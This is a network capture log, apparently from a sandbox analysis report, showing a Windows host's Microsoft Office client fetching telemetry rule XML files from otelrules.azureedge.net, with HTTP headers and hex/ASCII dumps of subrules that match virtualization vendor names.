2024-10-26 11:45:19 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49796	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:19 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:19 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 97925bc6-b01e-0002-7e3b-261b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114519Z-17c5cb586f6sqz6fff89etrx0800000001gg0000000093vt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:19 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49801	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:21 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:21 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114521Z-16849878b78j5kdg3dndgqw0vg00000003s0000000004c7r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:21 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49800	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:21 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: d13b9d4f-c01e-0014-770d-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114521Z-17c5cb586f6w4mfs5xcmnrny6n00000003e00000000084cc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49798	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:21 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 57989b77-d01e-0049-621c-27e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114521Z-16849878b785dznd7xpawq9gcn00000003c0000000007cmz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49799	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:21 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:21 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:21 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114521Z-16849878b78nx5sne3fztmu6xc00000002ug00000000e8xs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:21 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49802	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:21 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:21 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1c275e9e-901e-0048-342c-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114521Z-17c5cb586f6w4mfs5xcmnrny6n00000003hg000000004uaw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:21 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49804	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:22 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:22 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 75bf4e1c-f01e-0085-073a-2688ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114522Z-r197bdfb6b4gx6v9pg74w9f47s00000003vg0000000028nm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:22 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49805	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:22 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:22 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 384d3f9c-b01e-003d-2424-26d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114522Z-r197bdfb6b4d9xksru4x6qbqr00000000210000000001dzn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:22 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49807	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:22 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:22 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:22 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: a342e9ea-d01e-0066-419c-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114522Z-16849878b78bjkl8dpep89pbgg00000000kg00000000c1kg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-26 11:45:22 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49808	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:22 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:22 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 28b65c2d-201e-0003-2d3f-26f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114522Z-17c5cb586f6hhlf5mrwgq3erx8000000034g0000000015yg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:22 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49806	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:22 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:22 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6cbbe1db-401e-0083-6516-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114522Z-16849878b785dznd7xpawq9gcn00000003bg000000007zzk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:22 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49810	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:23 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
